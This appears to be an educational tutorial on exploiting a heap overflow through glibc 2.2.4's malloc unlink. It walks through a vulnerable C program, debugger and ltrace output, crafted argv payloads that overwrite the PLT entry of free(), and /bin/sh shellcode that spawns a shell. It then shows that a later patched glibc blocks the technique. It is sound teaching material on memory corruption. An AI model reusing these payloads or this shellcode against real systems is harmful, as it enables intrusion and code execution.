Sometimes the buffer that overflows is not a local buffer on the stack,
but a buffer obtained from malloc()
and freed with free()
.
Let us do a small demo.
Exploit the program heapbug.c
:
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { char *p, *q; p = malloc(1024); q = malloc(1024); if (argc >= 2) strcpy(p, argv[1]); free(q); free(p); return 0; }
There is an overflow here. Calling the program with a long argument provokes a crash:
% ./heapbug `perl -e 'print "A"x5000'` Segmentation fault
We would like to spawn a shell from this buggy program.
The routines malloc()
and free()
manage
memory obtained via the sbrk()
and mmap()
system calls.
Here
a description of Doug Lea's malloc, a bit older than
the version of malloc described below and used in this demo.
Memory is carved up into chunks. The first (4-byte) field of each chunk give its size, and since the size is guaranteed to be divisible by 8 the low order bits can be status bits.
A free chunk also ends with a size field, so that merging a chunk with the previous one (when both are free) is easy. A user chunk only has a size field at the beginning. Bit 0 of the status field is 0 when the preceding chunk exists and is free and has a size field at the end.
A free chunk also has two pointers belonging to the doubly linked list it is an element of. (Thus, chunks have size not less than 16 bytes.)
The implementation manages chunks using the struct
struct chunk { int prev_size; int size; struct chunk *fd; struct chunk *bk; };
(where this struct straddles two chunks: the first four bytes
belong to the previous chunk, the last twelve bytes belong
to the present chunk). Thus, the prev_size
field here
is defined only when (size & 1) == 0
.
Since the pointer returned by malloc()
must be suitable
for all purposes it is aligned on an 8-byte boundary.
Thus, when the user asks for size n
, the chunk size
will be not less than the smallest multiple of eight above n+4
.
Strategies for allocation and freeing are non-trivial.
Thus, it is difficult to predict where areas will be allocated,
and whether two subsequent malloc()
's will return
adjacent areas. But in our tiny demo program, this happens to be
the case on the current machine (with glibc 2.2.4).
In the above example, the segfault occurs in strcpy()
and is not exploitable. It happens because the copy accesses
unmapped memory:
% ltrace ./heapbug `perl -e 'print "A"x2368'` __libc_start_main(0x080484b0, 2, 0xbffff1c4, 0x08048324, 0x08048560 <unfinished ...> __register_frame_info(0x08049598, 0x0804969c, 0xbffff168, 0x080483de, 0x08048324) = 0x40163da0 malloc(1024) = 0x080496c0 malloc(1024) = 0x08049ac8 strcpy(0x080496c0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"... <unfinished ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
but with a shorter string (that still overflows the buffer)
the segfault occurs in free()
, and that one is exploitable.
% ltrace ./heapbug `perl -e 'print "A"x2367'` __libc_start_main(0x080484b0, 2, 0xbffff1c4, 0x08048324, 0x08048560 <unfinished ...> __register_frame_info(0x08049598, 0x0804969c, 0xbffff168, 0x080483de, 0x08048324) = 0x40163da0 malloc(1024) = 0x080496c0 malloc(1024) = 0x08049ac8 strcpy(0x080496c0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x080496c0 free(0x08049ac8) = <void> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
Let us find where this happens.
% gdb ./heapbug GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT) ... (gdb) run `perl -e 'print "A"x2367'` ... Program received signal SIGSEGV, Segmentation fault. chunk_free (ar_ptr=0x40161620, p=0x8049ac0) at malloc.c:3180 (gdb) x/i $pc 0x400adc6e <chunk_free+46>: mov 0x4(%edx),%esi
Comparing the assembly code with the source of free()
in malloc.c
around line 3180 in glibc-2.2.4, we see
that the segfault occurs in
sz = hd & ~PREV_INUSE; next = chunk_at_offset(p, sz); nextsz = chunksize(next);
that is, the size field is used to find the next chunk
and since it was overwritten by "AAAA"
,
next
will be a bad address and getting chunksize(next)
segfaults.
OK. So, when overwriting the size field, we must take care that the computed location of the next chunk lies in allocated memory. Since small positive numbers contain NUL bytes, it is easiest to use a small negative number.
Now the test
if (next == top(ar_ptr)) /* merge with top */
in malloc.c
fails, and we reach the interesting code
if (!(hd & PREV_INUSE)) /* consolidate backward */ { prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); }
where unlink()
is defined as
#define unlink(p, bck, fwd) \ { \ bck = p->bk; \ fwd = p->fd; \ fwd->bk = bck; \ bck->fd = fwd; \ }
That is, we check that the prev_size
field is valid,
then subtract that amount from the chunk pointer p
to find the chunk preceding the one that is freed, and then unlink
it from its linked list - presumably because these two adjacent chunks
will be merged, and the result belongs in a different linked list
(since the linked lists are per-size).
But we control p->prev_size
, and by giving it a small
negative value the computed place for the start of the preceding
chunk will be inside the buffer. That is, we control the values
of bck
and fwd
, and using the assignment
fwd->bk = bck;
we can write an arbitrary value at an arbitrary place. Of course the value is not completely arbitrary: we cannot use NUL bytes. There is another restriction: the following assignment
bck->fd = fwd;
will segfault, unless bck
is a valid address.
So, given two values A
and B
chosen by me,
both acceptable addresses, free()
will do
*(A+12) = B
and *(B+8) = A
.
Let us try. Add an integer n
to the source of this
buggy program, and overwrite its value.
% cat bug1.c #include <stdio.h> #include <string.h> #include <stdlib.h> int n = 5; int main(int argc, char **argv) { char *p, *q; p = malloc(1024); q = malloc(1024); if (argc >= 2) strcpy(p, argv[1]); free(q); printf("n = 0x%08x\n", n); free(p); return 0; } % cc -o bug1 bug1.c % nm ./bug1 | grep -w n 080495f4 D n % ./bug1 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xe8\x95\x04\x08" . "\x80\xff\xff\xbf"'` n = 0xbfffff80 Segmentation fault %
Success! Watch carefully: p
and q
are 1032 (0x408) apart.
The second 0xfffffffc
overflows the size field of
the buffer q
with an even value (-4), so the prev_size
field (also -4) is valid, and we subtract it from the pointer
(q-8
) to the struct chunk of q
in order to
get the pointer (q-4
) to its predecessor.
Now the assignments fwd->bk = bck; bck->fd = fwd;
become *(A+12) = B; *(B+8) = A
where
A = 0x080495e8
is &n - 12
and B = 0xbfffff80
is some random address on the stack. Now *(A+12) = B
does n = B
, and that is what we see.
Very good. We can write into memory.
Our exercise was to exploit the original program heapbug
,
not to change the value of n
in bug1
.
The call free(p)
that follows the free(q)
will crash because we corrupted the data structures, so it is
better to avoid that second call. That is achieved by overwriting
the PLT entry of free()
.
% objdump -d heapbug ... Disassembly of section .plt: ... 804838c: ff 25 90 96 04 08 jmp *0x8049690 ... Disassembly of section .text: ... 8048510: e8 77 fe ff ff call 804838c <_init+0x68> ...
The C program does not call free()
directly, since the
address is unknown at translation time. The call is indirect
via an entry in the program linking table that is filled by the
dynamic loader. If we overwrite that entry with our favourite address,
we will jump there instead.
The required address can be found more quickly by
% objdump -R heapbug | grep free 08049690 R_386_JUMP_SLOT free
So, now the next attempt. Where shall we jump? Don't know. Maybe into the stack and crash - this is just to check that the setup works.
% gdb ./heapbug ... (gdb) run `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x70\xff\xff\xbf"'` Program received signal SIGSEGV, Segmentation fault. 0xbfffff72 in ?? () (gdb)
Very good. When the second free()
is called, we jump to an
address of our own choosing.
Of course we wanted to spawn a shell, and in the instruction pair
*(A+12) = B; *(B+8) = A
, we can choose A+12
to be
the PLT entry of free()
, and B
the address of
our shellcode on the stack. If we do that, then the second assignment
in that pair will destroy bytes 8-11 of that shellcode.
A simple way out is to prefix our favourite shellcode with a 12-byte
header
eb 0a jmp 1f 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 1f:
Let us try.
% SHELLCODE=`perl -e 'print "\xeb\x0a" . "\x90"x10 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` % export SHELLCODE % ./xxxxadr SHELLCODE # getenv("SHELLCODE") 0xbffffe9c % ./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x9c\xfe\xff\xbf"'` sh-2.05$
Excellent.
This finishes the first demo: spawn a shell from heapbug.c
on a
machine with glibc-2.2.4. The details of these exploits tend to be strongly
dependent on the glibc version, and more recent versions are more
difficult to exploit because of added integrity checks.
Let us try the same on a different machine.
% objdump -R heapbug | grep free 080496b0 R_386_JUMP_SLOT free % ltrace ./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xa4\x96\x04\x08" . "\x70\xff\xff\xbf"'` __libc_start_main(0x0804841c, 2, 0xbffff134, 0x08048510, 0x080484a0 <unfinished ...> malloc(1024) = 0x0804a008 malloc(1024) = 0x0804a410 strcpy(0x0804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0x0804a008 free(0x0804a410 <unfinished ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
Hmm. We never reach the second free()
. The first one crashes.
Let us compare gdb data with the malloc source. Which glibc is this?
% ldd ./heapbug linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/tls/libc.so.6 (0x4003b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) % /lib/tls/libc.so.6 GNU C Library stable release version 2.3.3 (20040917), by Roland McGrath et al. ...
This seems to be glibc-2.3.3. However, it soon appears that it is not
precisely that. For example, vanilla glibc-2.3.3 does not contain the
symbol malloc_printerr
seen here.
What distribution do we have here?
% ls -d /etc/*rele* /etc/lsb-release /etc/lsb-release.d /etc/SuSE-release % cat /etc/SuSE-release SuSE Linux 9.2 (i586) VERSION = 9.2 %
And what version of glibc?
% rpm -qf /lib/tls/libc.so.6 glibc-2.3.3-118 %
OK. Retrieve glibc-2.3.3-118.src.rpm
from a SuSE 9.2 mirror.
It turns out to contain a snapshot glibc-2.3.3-20040916.tar.bz2
.
Now we have a source to compare with.
There are several changes. There is an additional status bit
#define NON_MAIN_ARENA 0x4 #define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
forcing us to keep size
divisible by 8, not 4. No problem.
Next, there is the annoying check
/* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)) { malloc_printerr (check_action, "free(): invalid pointer", mem); return; }
It means that p + size
cannot be before p
.
Consequently, size
cannot be a small negative number.
It cannot be a small positive number either, since that would involve
NUL bytes. But we can work around this by letting p + size
point into the stack. OK.
But reading a bit more in this source we are shocked to see
#define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ FD->bk = BK; \ BK->fd = FD; \ } \ }
Aargh. Our exploit method fails here. New work is needed.